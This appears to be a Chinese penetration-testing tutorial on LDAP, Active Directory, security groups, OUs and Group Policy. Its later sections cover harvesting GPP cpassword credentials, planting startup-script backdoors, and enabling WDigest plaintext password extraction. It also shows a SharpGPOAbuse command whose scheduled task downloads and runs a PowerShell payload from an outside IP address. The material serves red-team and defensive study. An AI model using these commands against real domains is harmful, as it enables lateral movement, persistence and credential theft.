LDAP简介
LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。顾名思义,LDAP是设计用来访问目录数据库的一个协议。
- 目录数据库由目录服务数据库和一套访问协议组成
目录服务数据库
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
- 每个条目是一条记录,条目有唯一可标识的名词DN(每个圆圈是一个条目)
DN,RDN
:比如说第一个叶子条目,他有一个唯一可区分的名称DN:uid=bob,ou=people,dc=acme,dc=org
。类似于文件目录的相对路径绝对路径,他除了有个DN之外,还有个RDN
,他与目录结构无关,比如之前咱们提过的uid=bob,ou=people,dc=acme,dc=org
,他的RDN
就是uid=bob
- 属性:描述条目具体信息。比如
uid=bill,ou=people,dc=acme,dc=org
,他有属性name 为bill,属性age为11,属性school 为xx。 UPN,Base DN
:如上图bob隶属于acme.org
,则它的UPN为bob@acme.org
;Base DN是LDAP的目录树,即DC=acmem,DC=org
DN的属性
标识名称(distinguished Name,DN
):它是对象在Active Directory
内的完整路径,DN 有三个属性,分别是 CN
,OU
,DC
。
- DC (Domain Component):域名组件;
- OU (Organizational Unit):组织单位;
- CN (Common Name):通用名称,一般为用户名或计算机名;
AD(Active Directory)简介
AD是微软对目录服务数据库的实现方式,AD存储域内所有计算机、用户的信息。
访问AD的两种方法:
- 连接域控的
389
/636
端口(636端口是LDAPS),查看Active Directory
,进行连接查看修改 - 若存在域林,则存在全局编录服务器(GC,Global Catalog),连接域控的
3268
/3269
端口查看
Nameing Context
微软将Active Directory划分为若干个分区(这个分区我们称为Naming Context,简称NC
),每个Naming Context都有其自己的安全边界。
三个Naming Context:
- Configuration NC(Configuration NC)
- Schema NC(Schema NC)
- Domain NC(DomainName NC)
Configuration NC
配置NC,林配置信息的主要存储库,包含有关站点,服务,分区和Active DirectorySchema 的信息,并被复制到林中的每个域控制器。配置NC的根位于配置容器中,该容器是林根域的子容器。例如,test.local
林将为CN=Configuration,DC=test,DC=local
Schema NC
包含Schema 信息,该Schema 信息定义Active Directory中使用的类,对象和属性。
Domain NC
域内的所有计算机,所有用户的具体信息都存在Active Directory底下,具体来说,就是在Active Directory的这个Naming Context
里面。我们用工具查看的默认Naming Context
选的也是这个Naming Context
。后面对域内很多东西的查看都在这个Naming Context
里面。
更多信息
https://daiker.gitbook.io/windows-protocol/ldap-pian/8#0x03-naming-context-he-application-partitions
搜索Active Directory
搜索编辑工具
adsiedit.msc
ldp
- ADExplorer
- The LDAPExplorer(付费,比ADExplorer强大)
- ldapsearch(linux)
过滤规则
LDAP 搜索过滤器语法有以下子集:
- 用与号 (&) 表示的 AND 运算符。
- 用竖线 (|) 表示的 OR 运算符。
- 用感叹号 (!) 表示的 NOT 运算符。
- 用名称和值表达式的等号 (=) 表示的相等比较。
- 用名称和值表达式中值的开头或结尾处的星号 (*) 表示的通配符。
下面举几个例子
- (uid=testuser)
匹配 uid 属性为testuser的所有对象 - (uid=test*)
匹配 uid 属性以test开头的所有对象 - (!(uid=test*))
匹配 uid 属性不以test开头的所有对象 - (&(department=1234)(city=Paris))
匹配 department 属性为1234且city属性为Paris的所有对象 - (|(department=1234)(department=56*))
匹配 department 属性的值刚好为1234或者以56开头的所有对象。
一个需要注意的点就是运算符是放在前面的,跟我们之前常规思维的放在中间不一样
LDAP中查找objectCategory和objectClass
objectClass
在对象的objectClass
属性里面,可以看到这个对象是哪个类的实例,以及这个类的所有父类,比如说CN=jane,CN=Users,DC=test,DC=local的objectClass
是top,person,organizationalPerson,user
。那我们通过过滤语句(objectClass=user),(objectClass=organizationalPerson)
都能找到这个对象。1
AdFind.exe -b dc=pentest,dc=com -s subtree -bit -f "(objectclass=organizationPerson)" -c
objectCategory
objectCategory
属性包含对象是其实例的类或其父类之一的专有名称。因此objectClass
范围大于objectCategory
。在Windows Server 2008
之前默认不对objectClass 属性进行索引。
比如CN=Users,DC=pentest,DC=com
的objectCategory
为CN=Container,CN=Schema,CN=Configuration,DC=pentest,DC=com
objectCategory
的值由对象类的defaultObjectCategory
属性指定的值决定
查询语法:
1 | (objectCategory="CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local") |
- objectClass和objectCategory结合
如果域控存在Window Server 2008就采用这种方法,objectCategory
限定范围,objectClass
进行精准匹配
如果要定位CN=jane,CN=Users,DC=test,DC=local
对象,它的objectClass为top,person,organizationalPerson,user
,objectCategory为person
,则语法如下
1 | (&(objectCategory=person)(objectClass=user)) |
组
组简介
组的知识着重于安全组,分为以下三类
- 全局组 (Global group)
- 通用组(Universal group)
- 域本地组(Domain Local group)
组的类型由groupType决定,属性groupType是位字段
例子
组范围
组类型 | 可以授予权限 | 可包含 | 可包含于 | 成员是否在全局编录复制 |
---|---|---|---|---|
全局组 | 在同一林中或信任域或林中的任何域上。 | 来自同一域的帐户。来自同一域的其他全局组 | 来自同一林中任何域的通用组。来自同一域的其他全局组。来自同一林中任何域或任何信任域的域本地组 | 无 |
通用组 | 在同一林或信任林中的任何域上。 | 来自同一林中任何域的帐户。来自同一林中任何域的全局组。来自同一林中任何域的其他通用组。 | 同一林中的其他通用组。在同一个林或信任林中域本地组。 | 是 |
域本地组 | 在同一个域中 | 来自任何域或任何受信任域的帐户。来自任何域或任何受信任域的全局组。来自同一林中任何域的通用组。来自同一域的其他域本地组。 | 来自同一域的其他域本地组。 | 无 |
域本地组(Domain Local group)
顾名思义,就是本域内的本地组。不适用于林,适用于本域。可包含林内的账户,通用组,全局组。其他域内的通用组要在本域拥有权限,一般都是加入这个域的域本地组。比如说一个林里面,只有林根域有Enterprise Admins
这个组,这是个通用组。然后其他子域 的域本地组Administrators
会把林根域的Enterprise Admins
加进里面,所以林根域的Enterprise Admins
组用户才在整个林内具备管理员权限。如果想要一个只允许访问同一个域中的资源的组,那么使用域本地组即可。通用组(Universal group)
上面已经简单提过了通用组,典型例子是Enterprise Admins
这个组。在林的场景下比较有用。组内成员会在GC
内复制。如果你想要一个可以访问林中任何东西的组,并且可以在林中包含任何账户,请使用通用组。全局组(Global group)
全局组比较复杂,前面说了。在单域内用域本地组,在林中使用通用组。全局组应该说是一种比较折中的方案,他可以在林中使用,但是只能包含本域内的账户。全局组的使用范围是本域以及受信任关系的其他域。最为常见的全局组是Domain Admin
,也就是我们常说的域管。因为全局组只能包含本域内账户,因此来自一个域的账户不能嵌套在另一个域中的全局组中,这就是为什么来自同一个域的用户不符合在外部域中的域管的成员资格(由于其全局范围的影响)。
常见组
- Administrators
域本地组。具备系统管理员的权限,拥有对整个域最大的控制权,可以执行整个域的管理任务。Administrators包括Domain Admins和Enterprise Admins。 - Domain Admins
全局组。我们常说的域管组。默认情况下,域内所有机器会把Domain Admins加入到本地管理员组里面。 - Enterprise Admins
通用组。在林中,只有林根域才有这个组,林中其他域没有这个组,但是其他域默认会把这个组加入到本域的Administrators里面去。 - Domain Users
全局组。包括域中所有用户帐户,在域中创建用户帐户后,该帐户将自动添加到该组中。默认情况下,域内所有机器会把Domain Users加入到本地用户组里面,也就是为什么默认情况底下,啥都不配置。域用户可以登录域内任何一台普通成员机器。
AGDLP
安全组是权限的集合,通常是将用户添加进组,给组赋予权限,AGDLP是其中的一个权限划分方式
在域中,AGDLP是指将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。
- A表示用户账号,Account
- G表示全局组,Global group
- U表示通用组,Universal Group
- L表示本地组, local group
- DL表示域本地组,Domain local group
- P表示资源权限,Resource Permissions
ADFind查询组
1 | AdFind.exe -b dc=pentest,dc=com -s subtree -bit -f "(&(obje |
1 | #查询域内所有组 |
查询组内成员时,可用member
和memberof
属性查询,比如group4是group2的成员,则group4的memberof属性内就有group2,group2的member属性就有group4
1 | #查看group2的成员 |
OU组织单位(Organization Unit)
OU是容器对象,将域内的对象组织成逻辑组
- OU是管理对象的集合,组是权限的集合
OU委派
考虑这样一种需求,如果我们想允许某个用户把其他用户拉进OU,而不赋予这个用户域管权限,我们可以在这个OU给这个用户委派 添加成员的权限。组织单位的委派其实就是赋予某个域内用户对OU的某些管理权限。这些权限体现在ACL
里面。
OU查询
OU是organizationalUnit
类的实例,查询语法如下
1 | ADFind.exe -s subtree -b "DC=pentest,DC=com" -f "(objectClass=organizationUnit)" -dn |
查询OU里面的账户,可以指定BaseDN为OU就行
1 | ADFind.exe -s subtree -b "OU=IT,DC=pentest,DC=com" -dn |
组策略
名词解释:
- 组策略(英语:Group Policy,即GPO),微软[Windows NT](https://baike.baidu.com/item/Windows NT)家族操作系统的一个特性,它可以控制用户帐户和计算机帐户的工作环境。
- 组策略对象(英语:Group Policy Object,即GPO)
- 本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。
- 组策略首选项(Group Policy Preference, GPP)
组策略首选项(Group Policy Preference, GPP) 借助了组策略对象(Group Policy Oject, GPO) 实现了对域中所有资源的管理。
组策略首选项,是Windows2008中新增加
的一套客户端插件,由20多个新的客户端拓展组成,可以用来完成很多组策略无法进行的系统及用用配置,例如:驱动映射、管理本地组和用户等等。
我们可以看到GPP里面自定义了很多操作,比如本地用户和组的密码控制、计划任务等
在GPP出现之前,很多统一管理的操作只能通过脚本来实现,而GPP方便和简化了这样的管理,GPP你可以将其理解为一个功能点,作用是简单化、规范化组策略的发布和使用。
NETLOGON目录
挂载点:SYSVOL\domain\SCRIPTS
主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol
下面的一个子目录文件夹。
SYSVOL目录
SYSVOL目录是AD域中的一个
共享
文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。 此外,域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,并且所有的AD用户都可以访问它
在域中,用户登录(计算机)时,会首先在SYSVOL文件查找GPO和启动脚本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息。
该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)
Default Domain Policy
唯一ID(GUID):{31B2F340-016D-11D2-945F-00C04FB984F9} (都是相同的)
默认域策略
Windows Server 2008 creates a Default Domain Policy GPO for every domain in the forest. This domain is the primary method used to set some security-related policies such as password expiration and account lockout.
存放的路径:
1 | C:\Windows\SYSVOL\sysvol\test1.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9} |
Default Domain Controllers Policy
唯一ID(GUID):{6AC1786C-016F-11D2-945F- 00C04FB984F9} (都是相同的)
默认域控制器策略
管理目标“Domain Controllers”容器,影响“Domain Controllers”容器中的域控制器,域控制器账户单独保存在该容器中。
组策略简介
组策略(英语:Group Policy,即GPO),微软[Windows NT](https://baike.baidu.com/item/Windows NT)家族操作系统的一个特性,它可以控制用户帐户和计算机帐户的工作环境。
gpmc.msc
打开组策略
组策略可分为本机组策略(LGP)和域的组策略:
- 本机组策略用于计算机管理员统一管理本机以及所有用户。
- 域内的组策略用于域管统一管理域内的所有计算机以及域用户。
组策略分类
本地组策略
本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。
开始->运行->键入”gpedit.msc”->本地组策略编辑器->window设置(system)->脚本->启动->属性
显示文件:
1 | C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup |
把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了
域组策略
打开命令:gpmc.msc
当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。
域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发。
- 通过在域中下发脚本来执行
- 在组策略首选项GPP中进行设置
- 本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案)
这里需要了解下AD域中两个默认的共享文件夹:SYSVOL
NETLOGON
,见上
组策略更新
客户端更新组策略的方式主要有:
后台轮询检查域控SYSVOL里每条组策略的GPT.ini,如果高于本地保存的组策略版本,客户端将会更新本地的组策略。默认情况下,计算机组策略会在后台每隔 90 分钟(0-30分钟的抖动)更新一次。域控制器上的组策略会每隔 5 分钟更新一次。
用户开机登录时会检查SYSVOL里的
GPT.ini
。客户端强制更新,执行
gpupdate /force
。域控强制客户端更新
Invoke-GPUpdate -Computer "TESTwin10" -Target "User"
(不会比较域共享目录中组策略的版本,2008 R2 默认不支持该命令,2012支持)
组策略执行顺序
1 | 本地组策略 →站点组策略→域组策略→OU组策略。 |
如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。后应用的组策略覆盖先应用的组策略。
GPC和GPT
GPO在于内的存储分为两个部分,GPC
和GPT
- GPC位于
CN=Policies,CN=System,<BaseDn>
底下,每个条目对应一个GPC
例如这里的Default Domain Policy的GPC就是CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=pentest,DC=com
,GPC包含了GPO的属性,例如版本信息,GPO状态和其他组件设置 - GPC的
gPCFileSysPath
链接到GPT
里面记录了一些策略的数据
OU通过gPLink
标识这个OU应该使用的组策略,通过gPOptions
标识是否继承组策略
组策略相关ACL
创建GPO的权限
创建GPO的权限其实就是对CN=Policies,CN=System,<BaseDn>
具备CreateChild
的权限。
1 | AdFind.exe -b "CN=Policies,CN=System,DC=pentest,DC=com" -sddl+++ -s base -sdna -sddlfilter >../GPO_privilege.txt |
GPO链接的权限
OU上的gPLink
可以标识使用的组策略,我们只要遍历所有站点、OU、OU上的ACE,如果有对gPLink
属性或者gPOpptions
属性的修改权限,就可以修改这个这个域/站点/OU链接的OU。
- 遍历站点、OU
1
2
3
4
5#遍历站点
adfind -b CN=Configuration,DC=pentest,DC=com -f "(objectCategory=site)" -s subtree -dn
adfind -sites -f "(objectCategory=site)" -dn
#遍历OU
adfind -b DC=pentest,DC=com -f "(objectCategory=organizationalUnit)" dn - 遍历域、站点、OU上的ACE
1
2
3
4#查看修改gPlink权限
adfind -b OU=财务,DC=test,DC=local -sddl+++ -s base -sdna -sddlfilter ;;;gPlink;;
#或修改gPOpptions的权限
adfind -b OU=财务,DC=test,DC=local -sddl+++ -s base -sdna -sddlfilter ;;;gPOpptions;;
修改现有GPO的权限
主要关注
- GPC链接到GPT的权限
- 修改GPT的权限
- GPC链接到GPT的权限对应OU的
gPCFileSysPath
,只需查找对这个属性的WriteProperty
1
AdFind.exe -b "CN=Policies,CN=System,DC=pentest,DC=com" nTSecurityDescriptor -sddl+++ -s subtree -sdna -sddlfilter ;;;gPCFileSysPath;; -recmute
- 修改GPT的属性,这里使用系统自带的
icacls
能查看文件夹ACL
1
2icacls \\pentest.com\sysvol\pentest.com\scripts*
icacls \\pentest.com\sysvol\pentest.com\policies*
因为可以修改GPT,就等同于可以随意修改组策略配置。
查看对应GPO标识对应组策略的名字
1 | .\AdFind.exe -b "CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=pentest,DC=com" -s base displayName |
SYSVOL漏洞(MS14-025)
早些版本中,某些组策略首选项
可以存储加密过的密码,加密方式为AES-256,且微软公开了私钥
主要存在于一下组策略首选项中
- 驱动器映射
- 本地用户和组
- 计划任务
- 服务
- 数据源
可以用以下命令搜索:
1 | findstr /S cpassword \\pentest.com\sysvol\*.xml |
工具地址:https://github.com/securethelogs/PassVol.git
或者利用Powersploit的Get-GPPPassword
1 | Get-GPPPassword |
组策略横向移动方式
- 软件安装推出
.msi
软件 - 推出特定的启动脚本
- 计划任务
OU批量下发脚本
创建一个OU(GPOTEST),里面新建一个用户,gpo
gmc.msc
打开组策略管理,添加一个新的组策略(ADControl)
通过右键ADControl——编辑——用户配置——策略——windows设置——脚本——登录——显示文件——新建ADControl.bat
1 | cmd.exe /c calc |
然后将组策略管理器界面的GPOTEST链接到该组策略,右键链接到现有的GPO
此时,服务器跟客户端都要强制更新组策略
1 | gpupdate /force |
更新完成后,可以在客户端看到服务器下发的组策略,说明更新成功了
因为我们组策略规则设定了用户登录时会触发文件,因此需要重新登录一下,成功弹出计算器
CS创建组策略
- 创建GPO
1 | powershell -c Import-Module GroupPolicy;new-gpo -name TestGP02 |
- 将GPO链接到域demo.com,需要域管权限。
1 | powershell -c Import-Module GroupPolicy;new-gplink -name TestGP02 -Target "dc=demo,dc=com" |
- #添加定时任务 –TargetDnsName指定计算机
1 | execute-assembly F:\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author demo\\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://119.45.175.218/payload.ps1'))\"" --GPOName "TestGP02" --FilterEnabled --TargetDnsName 192.168.40.148 |
即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。
- 在组成员中强制更新组策略,或者默认等待90分钟等待组策略强制更新
1 | gpupdate /force |
这时候可以看到域成员机上线
- 删除gpo
1 | powershell -c Import-Module GroupPolicy;Remove-GPO -Name TestGPO2 |
脚本实现
拿下域管权限后可能防火墙原因无法访问目标电脑,这时候可以利用组策略进行横向。
通过组策略来下放恶意软件、创建/修改计划任务、降级凭据保护、向计算机添加新的帐户到本地管理员组、启用明文密码提取等。
https://github.com/FSecureLABS/SharpGPOAbuse 、https://github.com/FuzzySecurity/StandIn 实现计划任务、启动脚本、添加本地管理员用户。
https://github.com/Hackndo/pyGPOAbuse 可以实现计划任务、添加本地管理员。
https://github.com/rootSySdk/PowerGPOAbuse 可以实现的比较全。
powershell实现
1 | #加载GroupPolicy模块 (win7没有,win10有) |
组策略后门
- 将域账户添加到本地管理员/RDP组
- 添加特权
一般用SeEnableDelegationPrivilege
特权,如果在渗透过程中控制一个拥有SeEnableDelegationPrivilege权限的账户,那基本约等于控制了整个域
https://blog.csdn.net/qq_41874930/article/details/111560977
降级凭据保护
启用明文密码提取
微软很早就更新了补丁来防止获取高版本windows的明文密码,但是可以修改注册表使HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest下的UseLogonCredentiald
的键值为1组策略ACL后门
三种特权:创建GPO的权限
GPO链接OU的权限
修改现有的GPO的权限
拥有这些权限就相当于拥有域管的权限,比如修改Default Domain Policy
的权限,那么这个用户就可以授予别的用户SeEnableDelegationPrivilege
的权限